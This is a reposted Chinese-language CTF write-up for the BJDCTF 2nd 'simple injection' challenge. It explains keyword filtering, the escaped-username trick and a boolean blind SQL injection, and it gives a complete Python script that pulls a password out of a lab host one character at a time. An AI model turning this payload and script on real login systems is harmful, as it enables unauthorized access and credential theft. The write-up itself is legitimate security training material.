[BJDCTF 2nd]简单注入

Posted gtx690

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[BJDCTF 2nd]简单注入相关的知识,希望对你有一定的参考价值。

扫描目录后发现robots.txt

技术图片

 

 

 访问hint.txt

技术图片

 

 

 题目提示了一句SQL语句

select * from users where username=$_POST["username"] and password=$_POST["password"];

返回首页,输入admin‘/admin尝试登陆,发现过滤了单引号

技术图片

 

 使用字典测试一下过滤了那些

技术图片

 

 发现他过滤了union,select,=,-,and,like,;等关键字,过滤了union select不能使用联合注入,使用报错注入没有回显,考点应该是盲注

 重新回到提示的SQL语句

select * from users where username=$_POST["username"] and password=$_POST["password"];

我们可以输入admin 和 or 1#,也就是构造如下SQL语句,这样password字段后面的语句便可以逃逸执行

select * from users where username=admin and password=or 1#;

技术图片

 

可以发现从You konw ,P3rh4ps needs a girl friend变成了BJD needs to be stronger,存在盲注,这样就可以编写脚本来获取password字段的值

首先构造核心payLoad:

‘or/**/(ascii(substr(password,{},1))>{})#‘.format(i,j)

完整脚本如下:

import requests

url = "http://f6cf878f-d201-4590-aa11-0b2e9d4abce5.node3.buuoj.cn/index.php"
flag = ""

for i in range(1, 50):
    for j in range(32, 126):
        payload = "or/**/(ascii(substr(password,{},1))>{})#".format(i, j)
        data = {"username": "admin\\", "password": payload}
        re = requests.post(url, data=data)
        if "P3rh4ps" in re.text:
            flag += chr(j)
            print(flag)
            break

技术图片

 

 跑出password后,登陆便可获取到flag

技术图片

 

 

以上是关于[BJDCTF 2nd]简单注入的主要内容,如果未能解决你的问题,请参考以下文章

[BJDCTF 2nd]简单注入

ssti注入(服务器模板注入) && BJDCTF 2nd fake google

[BJDCTF 2nd]假猪套天下第一

[BJDCTF 2nd]文件探测

CTF-Pwn-[BJDCTF 2nd]diff

CTF-Pwn-[BJDCTF 2nd]diff